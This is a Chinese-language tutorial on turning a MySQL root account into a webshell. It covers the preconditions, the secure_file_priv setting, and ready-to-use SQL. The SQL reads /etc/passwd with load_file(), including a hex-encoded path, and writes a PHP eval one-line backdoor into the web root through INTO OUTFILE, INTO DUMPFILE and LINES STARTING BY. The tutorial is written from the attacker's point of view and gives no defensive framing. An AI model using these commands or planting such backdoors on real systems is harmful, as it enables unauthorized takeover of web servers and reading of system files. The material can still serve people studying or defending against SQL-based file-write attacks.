root用户及其权限
MySQL数据库默认有一个用户是Root,其权限是非常高的,在数据库默认配置下,Root用户是可以对网站的一些目录进行读写操作的。
如果当前连接的MySQL用户为root权限,在具有读写权限的前提下,我们是可以通过写入一句话木马到网站目录来获取网站权限的,也就是webshell。
要获取webshell一般需要的条件
1)当前连接到数据库的用户是Root权限
2)获取网站物理路径(也叫绝对路径就是文件在计算机中存储的位置)(可以通过以下方式获取:报错,phpinfo页面,猜(网站名一般会是xxx_com或xxx.com),爆破)
需注意的MySQL版本问题
1.MySQL 5.5.53前
5.5.53之前的版本是secure_file_priv变量默认为空,所以默认情况下是可以直接通过SQL语句来导出文件的。
2.MySQL高于5.5
高于5.5的版本,MySQL新出了一个secure-file-priv字段:secure-file-priv参数是用来限制LOAN DATA,SELECT ...>OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null,表示限制MySQL不允许导入/导出(是所有用户都不被允许)
当secure_file_priv的值为/tmp/,表示限制MySQL的导入/导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,即 ' ' ,表示不对MySQL的导入/导出做限制
查看secure-file-priv参数的值:show global variables like '%secure%'
MySQL读文件
MySQL读文件用的是load_file()函数:
select load_file('/etc/passwd');
select load_file(0x2F6574632F706173737764); (这是把文件路径转换成了16进制,对这样的文件路径进行解码时要记得删掉0x)
MySQL写文件
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件时会保持文件得到原生内容,这种方式对于二进制文件是最好的选择
select '<?php @eval($_POST[pass])?>' into outfile '/var/www/html/muma.php'; (由于转译的问题,也许无法成功写入,这时我们需要给后面的文件路径用\\来分隔)
select '<?php @eval($_POST[pass])?>' into DUMPFILE '/var/www/html/muma.php'; (把一句话木马导出到文件)
select * from tdb_goods where goods_id=1 into outfile "/var/www/html/muma.php" LINES STARTING BY '<?php @eval($_POST[pass])?>' (将查询得到的东西导出到文件,文件中的内容用一句话木马在开头来做分隔)
LINES STARTING BY '写入的内容'
设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
LINES TERMINATED BY '写入的内容'
设置每行数据结尾的字符,可以为单个字符或多个字符。默认值是"\n"。